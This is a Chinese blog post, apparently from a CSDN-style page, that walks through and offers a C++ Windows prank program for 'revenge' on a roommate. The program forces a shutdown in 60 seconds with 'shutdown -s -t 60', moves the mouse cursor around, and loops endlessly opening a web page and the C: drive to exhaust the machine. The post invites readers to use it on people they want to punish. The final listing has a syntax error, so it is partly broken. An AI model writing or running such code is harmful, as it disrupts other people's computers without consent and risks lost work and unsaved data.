当前位置: 首页 > news >正文

C++代码_让室友坑我

引子

今天古文波在外地上C++集训营,结果却被一起学习的室友坑了。啊,好气,我要报复室友。
所以,我写出了死亡代码。
如果你也想报复某些人,可以看下去。

代码构造:

头文件

想要使用一些函数,如Sleep(),system()等,必须先写上头文件

#include <bits/stdc++.h> // 最基本的C++代码头文件
#include <windows.h> // 使用system和Sleep

我们先要恐吓一下朋友:

system("color 04"); // 切换字体颜色为红色
system("shutdown -s -t 60"); // 六十秒后关机

此时的朋友还是一脸茫然,不知道发生了神马事情,所以我们提示他一下

我们先写一个逐字输出的函数ccc
void ccc(string s) {for(int i = 0; i < s.size(); i++) {cout << s[i];Sleep(25);}cout << "\n";
}

这样我们就可以使用ccc(“想说的话”)来输出了

不过为了防止他关掉我们的程序,我们固定住他的鼠标
while(1)
SetCursorPos(0, 0);
我们给他说提示
ccc("你太可恶了,居然敢坑我!我现在就黑了你的电脑!");
ccc("不过我很有良心,只要你说“我错了”,我就放了你!"); 

我们的朋友一定会非常害怕,“诚心诚意”地给我们道歉

所以我们让他输入
string a;
cin >> a;
我们判断他有没有输入正确,输入错了我就制裁他
if(a != "我错了") ccc("你居然不道歉?!");
else ccc("你真·棒!");

不过室友罪大恶极,我们不能饶恕他!

ccc("不管你道不道歉,我还是要惩罚你!");
while(1) {system("start https://blog.csdn.net/C13256134687"); // 打开古文波的主页cout << "你太坏了!";system("start C:\\"); // 打开C盘
}

最终室友的电脑会先打开超级多东西发烧到50摄氏度,然后关机

又是给室友整活的一天

温馨注意:请先保护好人身安全再给室友用,否则可能会被暴打

最终代码:

#include <bits/stdc++.h>
#include <windows.h>using namespace std;void ccc(string s) {for(int i = 0; i < s.size(); i++) {cout << s[i];Sleep(25);}cout << "\n";
}int main() {system("color 04"); // 切换字体颜色为红色system("shutdown -s -t 60"); // 六十秒后关机cout << "你的鼠标已经被定住了,不要挣扎\n";ccc("你太可恶了,居然敢坑我!我现在就黑了你的电脑!");ccc("不要想着吧我关闭,否则你就会马上被黑!");ccc("不过我很有良心,只要你说“我错了”,我就放了你!");string a;cin >> a;if(a != "我错了") ccc("你居然不道歉?!");else ccc("你真·棒!");ccc("不管你道不道歉,我还是要惩罚你!");while(1) {SetCursorPos(rand() % 1000, rand() % 1000;system("start https://blog.csdn.net/C13256134687"); // 打开古文波的主页cout << "你太坏了!";system("start C:\\"); // 打开C盘}return 0;
}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 搞定前端面试题——ES6同步与异步机制、async/await的使用以及Promise的使用!!!
  • 网络故障处理及分析工具:Wireshark和Tcpdump集成
  • golang单元测试性能测试常见用法
  • 【Linux 配置静态IP】Ubuntu20.04
  • MySQL双主双从实现方式
  • 音视频开发入门教程(2)配置FFmpeg编译 ~共210节
  • Scala学习笔记16: 注解
  • ‍我想我大抵是疯了,我喜欢上了写单元测试
  • 根据视图矩阵, 恢复相机的世界空间的位置
  • Elasticsearch 企业级实战 01:Painless 脚本如何调试?
  • OPPO 2024届校招正式批笔试题-后端(C卷)
  • LLM基础模型系列:Prompt-Tuning
  • 前端实现将多个页面导出为pdf(分页)
  • SSL vpn easy connect 选路连接失败,可能当前连接网络异常,请稍后重试
  • 防火墙--双机热备
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • Akka系列(七):Actor持久化之Akka persistence
  • CentOS从零开始部署Nodejs项目
  • iOS 系统授权开发
  • Java 最常见的 200+ 面试题:面试必备
  • JavaScript HTML DOM
  • mongo索引构建
  • Mysql优化
  • opencv python Meanshift 和 Camshift
  • Python 基础起步 (十) 什么叫函数?
  • Redis字符串类型内部编码剖析
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • Travix是如何部署应用程序到Kubernetes上的
  • Wamp集成环境 添加PHP的新版本
  • 阿里云前端周刊 - 第 26 期
  • 多线程 start 和 run 方法到底有什么区别?
  • 给新手的新浪微博 SDK 集成教程【一】
  • 回流、重绘及其优化
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • 原创:新手布局福音!微信小程序使用flex的一些基础样式属性(一)
  • 在Mac OS X上安装 Ruby运行环境
  • - 转 Ext2.0 form使用实例
  • MPAndroidChart 教程:Y轴 YAxis
  • Prometheus VS InfluxDB
  • zabbix3.2监控linux磁盘IO
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • 昨天1024程序员节,我故意写了个死循环~
  • ​Kaggle X光肺炎检测比赛第二名方案解析 | CVPR 2020 Workshop
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • #git 撤消对文件的更改
  • #ubuntu# #git# repository git config --global --add safe.directory
  • $.ajax()参数及用法
  • $refs 、$nextTic、动态组件、name的使用
  • (02)Hive SQL编译成MapReduce任务的过程
  • (13)Hive调优——动态分区导致的小文件问题
  • (el-Transfer)操作(不使用 ts):Element-plus 中 Select 组件动态设置 options 值需求的解决过程
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (附源码)php投票系统 毕业设计 121500
  • (附源码)springboot金融新闻信息服务系统 毕业设计651450